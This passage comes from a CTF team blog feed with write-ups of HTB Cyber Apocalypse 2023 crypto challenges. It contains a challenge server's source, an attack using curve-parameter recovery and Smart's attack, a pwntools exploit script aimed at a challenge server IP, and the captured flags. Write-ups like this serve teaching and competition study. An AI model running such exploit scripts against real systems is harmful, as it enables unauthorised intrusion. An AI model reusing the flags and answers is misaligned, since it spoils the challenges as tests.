&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Options:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;1. Setup Point&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;2. Receive new point&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;3. Find true point&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">option&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">artifact&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Relic&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setup&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter x coordinate&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;x: &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">artifact&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">setupPoints&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;Point confirmed on curve&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setup&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">setup&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">artifact&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">nextPoints&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Response&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Configure origin point first&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;3&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">setup&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Input x,y&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Px&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;x: &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Py&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;y: &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">artifact&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">nextPoints&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">Px&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">Py&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;You have confirmed the location. It&lt;/span>&lt;span class="se">\&amp;#39;&lt;/span>&lt;span class="s1">s dangerous however to go alone. Take this: &amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;The vessels will never be found...&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Configure origin point first&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid option, sutting down&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;An error occured: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So, for any \(i\neq j\), $$a \equiv \dfrac{Y_i^2-Y_j^2-X_i^3+X_j^3}{X_i-X_j} \pmod{p}$$&lt;/p>
&lt;p>Which means for any distinct \(i,j,k,l\), $$(Y_i^2-Y_j^2-X_i^3+X_j^3)(X_k-X_l)-(Y_k^2-Y_l^2-X_k^3+X_l^3)(X_i-X_j) \equiv 0 \pmod{p}$$&lt;/p>
&lt;p>So by playing with several $i,j,k,l$ and take GCD stuff, we obtain $$p=91720173941422125335466921700213991383508377854521057423162397714341988797837$$.&lt;/p>
&lt;p>Also, we can find \(a\) and \(b\) by consider the equation system $$Y_i^2-X_i^3=aX_i+b \text{ for }i=1,2$$.&lt;/p>
&lt;p>We get that $$a=57186237363769678415558546920636910250184560730836527033755705455333464722170$$, $$b=47572366756434660406002599832623767973471965640106574131304711893212728437629$$&lt;/p>
&lt;p>Now the important thing is to note that: \(|E/\mathbb{F}_p|=p\), thus we can easily solve the discrete log problem on \(E\) using &lt;code>Smart's attack&lt;/code>. In addition, we only need to consider the RNG in modulo \(p\).&lt;/p>
&lt;p>Back to the challenge, we see the challenge is almost equivalent: Given \(P,x^2\times P\), find \((ax^3+bx+C)\times P\). To do this, we need to find \(x\) .Fortunately, because the DL problem is easy, we can easily find \(x\). The attack is described as follow:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Let \(P\) be any point on the curve.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Let the current round be \(i\), we can use &lt;code>Option 2&lt;/code> to get the value \(r[i]^2\times P\). At this time, \(state.P=r[i]\times P\).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use Smart&amp;rsquo;s attack to restore \(r[i]^2\), then restore \(r[i]\) with probability \(\dfrac{1}{2}\).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Calculate \(predict=ar[i]^3+br[i]+C \pmod{p}\).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use &lt;code>Option 1&lt;/code> and enter the coordinate of \(P[1]\). This will set \(state.P=P\) and the next point will be equal to \(r[i+1]\times P\).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Enter &lt;code>Option 3&lt;/code> and enter the coordinates of \(predict\times P[1]\).&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>The attack has \(\dfrac{1}{2}\) probability of success because we have \(\dfrac{1}{2}\) probability of getting the right \(r[i]\). So by doing this multiple times, we get the flag.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{0Racl3_AS_a_f3A7Ur3_0n_W3aK_CURV3_aND_PRN9??_7H3_s3cur17Y_0F_0uR_CRyP70Sys73M_w1LL_c0LLAp53!!!}&lt;/strong>&lt;/p>
&lt;h2 id="blokechain">Blokechain&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://github.com/sudo-rainman/ctf_script/tree/main/htb_cyberapocalypse2023/crypto_blokechain" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> After successfully locating the vessels and obtaining the relic, you and your team begin to strategize on how to destroy them. However, upon further examination, it becomes clear that the vessels are connected with advanced alien technology that simulates a blockchain. In order to destroy the pods, you realize that you need to possess the wealth of the entire galaxy. The fate of the Earth rests on your ability to find a solution to this seemingly impossible problem. Can you devise a plan to destroy the vessels and save humanity from their destructive power? Note: This challenge is not intended for beginners. It is an insane level of difficulty. Good luck and have fun!&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Insane&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>This challenge has an unintended solution where you can just resubmit the hash, lmao. R.I.P overthinkers.&lt;/p>
&lt;p>Here is the script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;178.62.9.10&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">30794&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">total&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="n">total&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">100000000&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;vessels&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;vessels&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">60&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;Balance&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;expected hash &amp;#34;&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;expected hash &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">temp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;vessels&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">60&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ans&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ans1&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">ans&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">60&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ans1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;Balance&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">total&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">temp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()[&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Balance: &amp;#34;&lt;/span>&lt;span class="p">):])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">total&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;vessels&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;3&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{7h3_vess3ls_4r3_des7r0yed_g0od_j0b}&lt;/strong>&lt;/p>
&lt;h2 id="original-post">Original Post&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://fazect.github.io/htb2023/" target="_blank" rel="noopener">From FazeCT&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://junvalentine.github.io/posts/htb-wu-2023/#colliding-heritage" target="_blank" rel="noopener">From Onirique&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://haopham23.github.io/dashaus165blog/" target="_blank" rel="noopener">From dasHaus&lt;/a>&lt;/p>
&lt;/li>
&lt;/ul></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Forensics</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-for/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-for/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/forensics/">forensics&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
